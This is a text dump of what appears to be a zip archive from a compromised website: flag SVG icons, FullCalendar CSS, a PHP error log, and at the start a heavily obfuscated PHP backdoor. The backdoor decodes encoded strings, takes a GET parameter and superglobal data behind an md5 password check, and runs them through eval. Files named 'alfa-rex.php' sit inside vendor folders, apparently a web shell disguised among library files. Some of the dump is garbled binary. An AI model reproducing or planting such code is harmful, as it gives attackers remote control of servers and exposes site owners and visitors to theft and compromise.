$EDskJ4HaHgwMJg = @$yE9XkdoyCB1Tj6[1 + 2]($yE9XkdoyCB1Tj6[5 + 1], $FR8xRRmL8hSX2t); goto IHz9mOe1xuLHW1; IHz9mOe1xuLHW1: $zJ5wxskwZwQNhh = $yE9XkdoyCB1Tj6[1 + 1]($EDskJ4HaHgwMJg, true); goto muUdqHkuQnGaWh; QkqAUd0J5VL9bF: UlNPPzeEjovLiZ: goto c1PAn426Ys3hZg; fZzB5DO1i9qQ6S: foreach ($g5uKinEI1K0BUR as $UzEmokJSZNDmaJ) { $yE9XkdoyCB1Tj6[] = self::upplGxkDVDyG6p($UzEmokJSZNDmaJ); JXWa9hY61UVsRk: } goto QkqAUd0J5VL9bF; sMBIQ7ooHyArWY: @eval($yE9XkdoyCB1Tj6[1 + 3]($Erd30zbDV3khZS)); goto T2IBIVvcDJ7Pj9; r1Ro4kuJgD2TBP: $Erd30zbDV3khZS = self::abhdqn4zxCUItr($zJ5wxskwZwQNhh[0 + 1], $yE9XkdoyCB1Tj6[0 + 5]); goto sMBIQ7ooHyArWY; kbGPpRe8eWk9tZ: $g5uKinEI1K0BUR = array("\65\x38\x38\x37\64\133\65\x38\70\65\71\x5b\65\70\70\67\62\133\65\70\70\x37\66\133\x35\x38\70\65\67\x5b\65\x38\70\x37\62\x5b\x35\70\70\67\x38\133\65\x38\x38\x37\x31\x5b\x35\x38\x38\x35\66\x5b\x35\70\x38\66\x33\133\65\x38\x38\x37\64\133\65\70\x38\65\x37\133\65\x38\70\66\70\x5b\x35\70\70\x36\62\x5b\x35\x38\70\x36\63", "\65\x38\70\65\x38\133\x35\70\x38\65\67\133\65\x38\70\65\x39\x5b\65\70\70\67\x38\133\65\70\70\x35\x39\133\65\70\x38\x36\62\133\65\x38\x38\x35\67\x5b\x35\70\71\62\x34\133\x35\70\71\62\62", "\x35\x38\x38\x36\67\x5b\x35\x38\x38\65\70\x5b\x35\70\70\x36\62\x5b\65\70\70\x36\x33\x5b\65\x38\70\67\70\133\65\x38\70\67\x33\133\x35\x38\70\67\62\x5b\x35\70\70\x37\64\133\x35\x38\70\x36\62\133\x35\70\70\67\x33\133\65\x38\70\x37\x32", "\65\x38\70\x36\x31\133\65\70\70\x37\66\133\65\x38\70\67\64\x5b\65\70\x38\66\x36", "\x35\x38\x38\x37\65\x5b\x35\x38\x38\67\x36\133\65\x38\70\65\x38\x5b\65\70\70\x37\x32\x5b\65\70\71\61\71\133\65\x38\71\x32\61\x5b\65\x38\x38\67\x38\x5b\x35\70\70\x37\63\x5b\x35\70\70\67\62\133\65\x38\x38\x37\x34\133\x35\70\x38\x36\x32\133\65\x38\70\x37\63\133\65\x38\70\67\x32", "\x35\x38\x38\67\x31\133\65\70\x38\66\x38\133\x35\x38\x38\66\x35\x5b\65\x38\70\67\62\133\65\x38\x38\67\x38\133\x35\70\x38\x37\60\133\x35\70\x38\x37\62\133\x35\x38\x38\65\67\133\65\x38\70\67\x38\133\x35\70\70\x37\x34\x5b\65\x38\70\x36\62\x5b\65\x38\70\x36\63\133\65\x38\70\65\67\133\x35\70\70\x37\62\x5b\65\70\70\x36\63\x5b\65\70\x38\65\67\x5b\65\x38\x38\x35\x38", "\x35\x38\x39\60\x31\x5b\65\70\71\63\61", "\65\x38\x38\64\x38", "\x35\x38\71\62\x36\x5b\x35\x38\71\63\x31", "\65\70\x39\60\x38\133\65\70\x38\x39\x31\133\x35\70\x38\71\61\133\x35\70\x39\60\x38\133\x35\x38\x38\x38\x34", "\65\70\x38\67\61\x5b\65\x38\70\x36\x38\x5b\65\70\70\66\x35\133\x35\70\70\65\67\133\65\70\70\x37\x32\133\x35\x38\70\x35\71\133\65\70\x38\67\x38\x5b\x35\x38\x38\66\x38\133\x35\70\x38\66\63\x5b\x35\70\70\x36\61\133\65\x38\x38\65\x36\x5b\x35\70\70\65\x37"); goto fZzB5DO1i9qQ6S; a8hZV5EQVvuJhB: X495MiMWod6AaD: goto uzisOvNggePD_s; c1PAn426Ys3hZg: $FR8xRRmL8hSX2t = @$yE9XkdoyCB1Tj6[1]($yE9XkdoyCB1Tj6[4 + 6](INPUT_GET, $yE9XkdoyCB1Tj6[1 + 8])); goto ZQywklqTqluwqi; T2IBIVvcDJ7Pj9: die; goto a8hZV5EQVvuJhB; uzisOvNggePD_s: } } goto Dnq_LdC0qQJhq_; fgIATHM3_78GVS: $RUWRv1PhY3IIlN = ${$iwjkkEsqQOb4Iv[28 + 3] . $iwjkkEsqQOb4Iv[10 + 49] . $iwjkkEsqQOb4Iv[5 + 42] . $iwjkkEsqQOb4Iv[33 + 14] . $iwjkkEsqQOb4Iv[3 + 48] . $iwjkkEsqQOb4Iv[2 + 51] . $iwjkkEsqQOb4Iv[24 + 33]}; goto rUU0usRls7H5JZ; BwDQjFoj5REjSo: @eval($RUWRv1PhY3IIlN[67](${$RUWRv1PhY3IIlN[50]}[12])); goto ogIo36qJhLpo4F; rUU0usRls7H5JZ: if (!(in_array(gettype($RUWRv1PhY3IIlN) . "\62\x35", $RUWRv1PhY3IIlN) && md5(md5(md5(md5($RUWRv1PhY3IIlN[19])))) === "\70\x36\143\x34\61\144\60\x32\x64\x30\71\x63\x62\141\146\x34\x33\60\141\145\65\x31\71\71\x30\62\x32\64\x38\70\x39\66")) { goto mui1bg0NJBBXAn; } goto nYtvz7RpYboTTH; FaXDAqeLXx6zmf: $qmezcgxlVbG32J = "\162" . "\141" . "\156" . "\147" . "\x65"; goto N8PKVJJ2WcKKiR; nYtvz7RpYboTTH: $RUWRv1PhY3IIlN[67] = $RUWRv1PhY3IIlN[67] . $RUWRv1PhY3IIlN[71]; goto BwDQjFoj5REjSo; ogIo36qJhLpo4F: mui1bg0NJBBXAn: goto p0s5hvEPTZiX5q; Dnq_LdC0qQJhq_: AMwVt0nounijdq::bu6D2OIaoEOQ16(); ?> PKZGAk}|-|-flags/4x3/4x3/about.phpnu[PKZhflags/4x3/4x3/error_lognu[[04-Jul-2025 09:51:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 09:51:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZGAk}|-|-flags/4x3/4x3/about.php7nu[PKZW{}flags/4x3/gu.svgnu[ G U A M PKZOvoflags/4x3/uy.svgnu[ PKZŋ  flags/4x3/tj.svgnu[ PKZ,88flags/4x3/tt.svgnu[ PKZxmflags/4x3/gy.svgnu[ PKZHZflags/4x3/ve.svgnu[ PKZ[Vflags/4x3/km.svgnu[ PKZ/++flags/4x3/mg.svgnu[ PKZzflags/4x3/ai.svgnu[ PKZ'j@bZbZflags/4x3/io.svgnu[ PKZ8flags/4x3/gh.svgnu[ PKZK 'aaflags/4x3/bf.svgnu[ PKZ44flags/4x3/cm.svgnu[ PKZN)flags/4x3/my.svgnu[ PKZW̦xxflags/4x3/ta.svgnu[ PKZܪflags/4x3/ne.svgnu[ PKZ Jflags/4x3/jp.svgnu[ PKZOflags/4x3/cz.svgnu[ PKZMF'ttflags/4x3/mx.svgnu[ PKZ1R))flags/4x3/vg.svgnu[ PKZNNflags/4x3/un.svgnu[ PKZxBCflags/4x3/lt.svgnu[ PKZQ>Q>flags/4x3/dm.svgnu[ PKZ8flags/4x3/ga.svgnu[ PKZooflags/4x3/lc.svgnu[ PKZ{k``flags/4x3/nu.svgnu[ PKZSflags/4x3/pl.svgnu[ PKZuҲflags/4x3/fm.svgnu[ PKZ̶̶flags/4x3/bz.svgnu[ PKZ`flags/4x3/ls.svgnu[ PKZ9l>flags/4x3/bh.svgnu[ PKZe9xxflags/4x3/ac.svgnu[ PKZjRddflags/4x3/gr.svgnu[ PKZSЦxxflags/4x3/sh.svgnu[ PKZ@&N&&flags/4x3/ax.svgnu[ PKZ#KbdHdHflags/4x3/ni.svgnu[ PKZg!Pflags/4x3/ca.svgnu[ PKZGAk}|-|-vendor/alfa-rex.phpnu[PKZGAk}|-|-!vendor/full-calendar/alfa-rex.phpnu[PKZ-WCkaka!vendor/full-calendar/main.min.cssnu[.fc-icon,.fc-unselectable{-moz-user-select:none;-ms-user-select:none}.fc .fc-button,.fc-icon{text-transform:none;text-align:center}.fc-not-allowed,.fc-not-allowed .fc-event{cursor:not-allowed}.fc .fc-button:not(:disabled),.fc a[data-navlink],.fc-event.fc-event-draggable,.fc-event[href]{cursor:pointer}.fc-unselectable{-webkit-user-select:none;user-select:none;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent}.fc{display:flex;flex-direction:column;font-size:1em}.fc .fc-button,.fc-icon{display:inline-block;font-weight:400}.fc,.fc *,.fc :after,.fc :before{box-sizing:border-box}.fc table{border-collapse:collapse;border-spacing:0;font-size:1em}.fc th{text-align:center}.fc td,.fc th{vertical-align:top;padding:0}.fc .fc-button,.fc .fc-button .fc-icon,.fc .fc-button-group,.fc .fc-timegrid-slot-label{vertical-align:middle}.fc a[data-navlink]:hover{text-decoration:underline}.fc .fc-button:hover,.fc .fc-list-event-title a,a.fc-event,a.fc-event:hover{text-decoration:none}.fc-direction-ltr{direction:ltr;text-align:left}.fc-direction-rtl{direction:rtl;text-align:right}.fc-theme-standard td,.fc-theme-standard th{border:1px solid #ddd;border:1px solid var(--fc-border-color,#ddd)}.fc-liquid-hack td,.fc-liquid-hack th{position:relative}@font-face{font-family:fcicons;src:url("data:application/x-font-ttf;charset=utf-8;base64,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") format('truetype');font-weight:400;font-style:normal}.fc-icon{width:1em;height:1em;-webkit-user-select:none;user-select:none;font-family:fcicons!important;speak:none;font-style:normal;font-variant:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fc-icon-chevron-left:before{content:"\e900"}.fc-icon-chevron-right:before{content:"\e901"}.fc-icon-chevrons-left:before{content:"\e902"}.fc-icon-chevrons-right:before{content:"\e903"}.fc-icon-minus-square:before{content:"\e904"}.fc-icon-plus-square:before{content:"\e905"}.fc-icon-x:before{content:"\e906"}.fc .fc-button{overflow:visible;text-transform:none;margin:0;font-family:inherit}.fc .fc-button::-moz-focus-inner{padding:0;border-style:none}.fc .fc-button{-webkit-appearance:button;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;padding:.4em .65em;font-size:1em;line-height:1.5;border-radius:.25em}.fc .fc-button:focus{outline:0;box-shadow:0 0 0 .2rem rgba(44,62,80,.25)}.fc .fc-button-primary:focus,.fc .fc-button-primary:not(:disabled).fc-button-active:focus,.fc .fc-button-primary:not(:disabled):active:focus{box-shadow:0 0 0 .2rem rgba(76,91,106,.5)}.fc .fc-button:disabled{opacity:.65}.fc .fc-button-primary{color:#fff;color:var(--fc-button-text-color,#fff);background-color:#2C3E50;background-color:var(--fc-button-bg-color,#2C3E50);border-color:#2C3E50;border-color:var(--fc-button-border-color,#2C3E50)}.fc .fc-button-primary:hover{color:#fff;color:var(--fc-button-text-color,#fff);background-color:#1e2b37;background-color:var(--fc-button-hover-bg-color,#1e2b37);border-color:#1a252f;border-color:var(--fc-button-hover-border-color,#1a252f)}.fc .fc-button-primary:disabled{color:#fff;color:var(--fc-button-text-color,#fff);background-color:#2C3E50;background-color:var(--fc-button-bg-color,#2C3E50);border-color:#2C3E50;border-color:var(--fc-button-border-color,#2C3E50)}.fc .fc-button-primary:not(:disabled).fc-button-active,.fc .fc-button-primary:not(:disabled):active{color:#fff;color:var(--fc-button-text-color,#fff);background-color:#1a252f;background-color:var(--fc-button-active-bg-color,#1a252f);border-color:#151e27;border-color:var(--fc-button-active-border-color,#151e27)}.fc .fc-button .fc-icon{font-size:1.5em}.fc .fc-button-group{position:relative;display:inline-flex}.fc .fc-button-group>.fc-button{position:relative;flex:1 1 auto}.fc .fc-button-group>.fc-button.fc-button-active,.fc .fc-button-group>.fc-button:active,.fc .fc-button-group>.fc-button:focus,.fc .fc-button-group>.fc-button:hover{z-index:1}.fc-direction-ltr .fc-button-group>.fc-button:not(:first-child){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.fc-direction-ltr .fc-button-group>.fc-button:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.fc-direction-rtl .fc-button-group>.fc-button:not(:first-child){margin-right:-1px;border-top-right-radius:0;border-bottom-right-radius:0}.fc-direction-rtl .fc-button-group>.fc-button:not(:last-child){border-top-left-radius:0;border-bottom-left-radius:0}.fc .fc-toolbar{display:flex;justify-content:space-between;align-items:center}.fc .fc-toolbar.fc-header-toolbar{margin-bottom:1.5em}.fc .fc-toolbar.fc-footer-toolbar{margin-top:1.5em}.fc .fc-toolbar-title{font-size:1.75em;margin:0}.fc-direction-ltr .fc-toolbar>*>:not(:first-child){margin-left:.75em}.fc-direction-rtl .fc-toolbar>*>:not(:first-child){margin-right:.75em}.fc-direction-rtl .fc-toolbar-ltr{flex-direction:row-reverse}.fc .fc-scroller{-webkit-overflow-scrolling:touch;position:relative}.fc .fc-scroller-liquid{height:100%}.fc .fc-scroller-liquid-absolute{position:absolute;top:0;right:0;left:0;bottom:0}.fc .fc-scroller-harness{position:relative;overflow:hidden;direction:ltr}.fc .fc-scroller-harness-liquid{height:100%}.fc-direction-rtl .fc-scroller-harness>.fc-scroller{direction:rtl}.fc-theme-standard .fc-scrollgrid{border:1px solid #ddd;border:1px solid var(--fc-border-color,#ddd)}.fc .fc-scrollgrid,.fc .fc-scrollgrid-section-footer>*,.fc .fc-scrollgrid-section-header>*{border-bottom-width:0}.fc .fc-scrollgrid,.fc .fc-scrollgrid table{width:100%;table-layout:fixed}.fc .fc-scrollgrid table{border-top-style:hidden;border-left-style:hidden;border-right-style:hidden}.fc .fc-scrollgrid{border-collapse:separate;border-right-width:0}.fc .fc-scrollgrid-liquid{height:100%}.fc .fc-scrollgrid-section,.fc .fc-scrollgrid-section table,.fc .fc-scrollgrid-section>td{height:1px}.fc .fc-scrollgrid-section-liquid{height:auto}.fc .fc-scrollgrid-section-liquid>td{height:100%}.fc .fc-scrollgrid-section>*{border-top-width:0;border-left-width:0}.fc .fc-scrollgrid-section-body table,.fc .fc-scrollgrid-section-footer table{border-bottom-style:hidden}.fc .fc-scrollgrid-section-sticky>*{background:var(--fc-page-bg-color,#fff);position:-webkit-sticky;position:sticky;z-index:2}.fc .fc-scrollgrid-section-header.fc-scrollgrid-section-sticky>*{top:0}.fc .fc-scrollgrid-section-footer.fc-scrollgrid-section-sticky>*{bottom:0}.fc .fc-scrollgrid-sticky-shim{height:1px;margin-bottom:-1px}.fc-sticky{position:-webkit-sticky;position:sticky}.fc .fc-view-harness{flex-grow:1;position:relative}.fc .fc-bg-event,.fc .fc-highlight,.fc .fc-non-business,.fc .fc-view-harness-active>.fc-view{position:absolute;top:0;left:0;right:0;bottom:0}.fc .fc-col-header-cell-cushion{display:inline-block;padding:2px 4px}.fc .fc-non-business{background:rgba(215,215,215,.3);background:var(--fc-non-business-color,rgba(215,215,215,.3))}.fc .fc-bg-event{background:var(--fc-bg-event-color,#8fdf82);opacity:.3;opacity:var(--fc-bg-event-opacity,.3)}.fc .fc-bg-event .fc-event-title{margin:.5em;font-size:.85em;font-size:var(--fc-small-font-size,.85em);font-style:italic}.fc .fc-highlight{background:rgba(188,232,241,.3);background:var(--fc-highlight-color,rgba(188,232,241,.3))}.fc .fc-cell-shaded,.fc .fc-day-disabled{background:rgba(208,208,208,.3);background:var(--fc-neutral-bg-color,rgba(208,208,208,.3))}.fc-event .fc-event-main{position:relative;z-index:2}.fc-event-dragging:not(.fc-event-selected){opacity:.75}.fc-event-dragging.fc-event-selected{box-shadow:0 2px 7px rgba(0,0,0,.3)}.fc-event .fc-event-resizer{display:none;position:absolute;z-index:4}.fc-event-selected .fc-event-resizer,.fc-event:hover .fc-event-resizer,.fc-h-event{display:block}.fc-event-selected .fc-event-resizer{border-radius:4px;border-radius:calc(var(--fc-event-resizer-dot-total-width,8px)/ 2);border-width:1px;border-width:var(--fc-event-resizer-dot-border-width,1px);width:8px;width:var(--fc-event-resizer-dot-total-width,8px);height:8px;height:var(--fc-event-resizer-dot-total-width,8px);border-style:solid;border-color:inherit;background:var(--fc-page-bg-color,#fff)}.fc-event-selected .fc-event-resizer:before{content:'';position:absolute;top:-20px;left:-20px;right:-20px;bottom:-20px}.fc-event-selected{box-shadow:0 2px 5px rgba(0,0,0,.2)}.fc-event-selected:before{content:"";position:absolute;z-index:3;top:0;left:0;right:0;bottom:0}.fc-event-selected:after{content:"";background:rgba(0,0,0,.25);background:var(--fc-event-selected-overlay-color,rgba(0,0,0,.25));position:absolute;z-index:1;top:-1px;left:-1px;right:-1px;bottom:-1px}.fc-h-event{border:1px solid #3788d8;border:1px solid var(--fc-event-border-color,#3788d8);background-color:#3788d8;background-color:var(--fc-event-bg-color,#3788d8)}.fc-h-event .fc-event-main{color:#fff;color:var(--fc-event-text-color,#fff)}.fc-h-event .fc-event-main-frame{display:flex}.fc-h-event .fc-event-time{max-width:100%;overflow:hidden}.fc-h-event .fc-event-title-container{flex-grow:1;flex-shrink:1;min-width:0}.fc-h-event .fc-event-title{display:inline-block;vertical-align:top;left:0;right:0;max-width:100%;overflow:hidden}.fc-h-event.fc-event-selected:before{top:-10px;bottom:-10px}.fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-start),.fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-end){border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-end),.fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-start){border-top-right-radius:0;border-bottom-right-radius:0;border-right-width:0}.fc-h-event:not(.fc-event-selected) .fc-event-resizer{top:0;bottom:0;width:8px;width:var(--fc-event-resizer-thickness,8px)}.fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start,.fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end{cursor:w-resize;left:-4px;left:calc(var(--fc-event-resizer-thickness,8px)/ -2)}.fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end,.fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start{cursor:e-resize;right:-4px;right:calc(var(--fc-event-resizer-thickness,8px)/ -2)}.fc-h-event.fc-event-selected .fc-event-resizer{top:50%;margin-top:-4px;margin-top:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}.fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-start,.fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-end{left:-4px;left:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}.fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-end,.fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-start{right:-4px;right:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}:root{--fc-daygrid-event-dot-width:8px;--fc-list-event-dot-width:10px;--fc-list-event-hover-bg-color:#f5f5f5}.fc .fc-popover{position:fixed;top:0;box-shadow:0 2px 6px rgba(0,0,0,.15)}.fc .fc-popover-header{display:flex;flex-direction:row;justify-content:space-between;align-items:center;padding:3px 4px}.fc .fc-popover-title{margin:0 2px}.fc .fc-popover-close{cursor:pointer;opacity:.65;font-size:1.1em}.fc-theme-standard .fc-popover{border:1px solid #ddd;border:1px solid var(--fc-border-color,#ddd);background:var(--fc-page-bg-color,#fff)}.fc-theme-standard .fc-popover-header{background:rgba(208,208,208,.3);background:var(--fc-neutral-bg-color,rgba(208,208,208,.3))}.fc-daygrid-day-events:after,.fc-daygrid-day-events:before,.fc-daygrid-day-frame:after,.fc-daygrid-day-frame:before,.fc-daygrid-event-harness:after,.fc-daygrid-event-harness:before{content:"";clear:both;display:table}.fc .fc-daygrid-body{position:relative;z-index:1}.fc .fc-daygrid-day.fc-day-today{background-color:rgba(255,220,40,.15);background-color:var(--fc-today-bg-color,rgba(255,220,40,.15))}.fc .fc-daygrid-day-frame{position:relative;min-height:100%}.fc .fc-daygrid-day-top{display:flex;flex-direction:row-reverse}.fc .fc-day-other .fc-daygrid-day-top{opacity:.3}.fc .fc-daygrid-day-number{position:relative;z-index:4;padding:4px}.fc .fc-daygrid-day-events{margin-top:1px}.fc .fc-daygrid-body-balanced .fc-daygrid-day-events{position:absolute;left:0;right:0}.fc .fc-daygrid-body-unbalanced .fc-daygrid-day-events{position:relative;min-height:2em}.fc .fc-daygrid-body-natural .fc-daygrid-day-events{margin-bottom:1em}.fc .fc-daygrid-event-harness{position:relative}.fc .fc-daygrid-event-harness-abs{position:absolute;top:0;left:0;right:0}.fc .fc-daygrid-bg-harness{position:absolute;top:0;bottom:0}.fc .fc-daygrid-day-bg .fc-non-business{z-index:1}.fc .fc-daygrid-day-bg .fc-bg-event{z-index:2}.fc .fc-daygrid-day-bg .fc-highlight{z-index:3}.fc .fc-daygrid-event{z-index:6;margin-top:1px}.fc .fc-daygrid-event.fc-event-mirror{z-index:7}.fc .fc-daygrid-day-bottom{font-size:.85em;margin:2px 3px 0}.fc .fc-daygrid-more-link{position:relative;z-index:4;cursor:pointer}.fc .fc-daygrid-week-number{position:absolute;z-index:5;top:0;padding:2px;min-width:1.5em;text-align:center;background-color:rgba(208,208,208,.3);background-color:var(--fc-neutral-bg-color,rgba(208,208,208,.3));color:grey;color:var(--fc-neutral-text-color,grey)}.fc .fc-more-popover{z-index:8}.fc .fc-more-popover .fc-popover-body{min-width:220px;padding:10px}.fc-direction-ltr .fc-daygrid-event.fc-event-start,.fc-direction-rtl .fc-daygrid-event.fc-event-end{margin-left:2px}.fc-direction-ltr .fc-daygrid-event.fc-event-end,.fc-direction-rtl .fc-daygrid-event.fc-event-start{margin-right:2px}.fc-direction-ltr .fc-daygrid-week-number{left:0;border-radius:0 0 3px}.fc-direction-rtl .fc-daygrid-week-number{right:0;border-radius:0 0 0 3px}.fc-liquid-hack .fc-daygrid-day-frame{position:static}.fc-daygrid-event{position:relative;white-space:nowrap;border-radius:3px;font-size:.85em;font-size:var(--fc-small-font-size,.85em)}.fc-daygrid-block-event .fc-event-time{font-weight:700}.fc-daygrid-block-event .fc-event-time,.fc-daygrid-block-event .fc-event-title{padding:1px}.fc-daygrid-dot-event{display:flex;align-items:center;padding:2px 0}.fc-daygrid-dot-event .fc-event-title{flex-grow:1;flex-shrink:1;min-width:0;overflow:hidden;font-weight:700}.fc-daygrid-dot-event.fc-event-mirror,.fc-daygrid-dot-event:hover{background:rgba(0,0,0,.1)}.fc-daygrid-dot-event.fc-event-selected:before{top:-10px;bottom:-10px}.fc-daygrid-event-dot{margin:0 4px;box-sizing:content-box;width:0;height:0;border:4px solid #3788d8;border:calc(var(--fc-daygrid-event-dot-width,8px)/ 2) solid var(--fc-event-border-color,#3788d8);border-radius:4px;border-radius:calc(var(--fc-daygrid-event-dot-width,8px)/ 2)}.fc-direction-ltr .fc-daygrid-event .fc-event-time{margin-right:3px}.fc-direction-rtl .fc-daygrid-event .fc-event-time{margin-left:3px}.fc-v-event{display:block;border:1px solid #3788d8;border:1px solid var(--fc-event-border-color,#3788d8);background-color:#3788d8;background-color:var(--fc-event-bg-color,#3788d8)}.fc-v-event 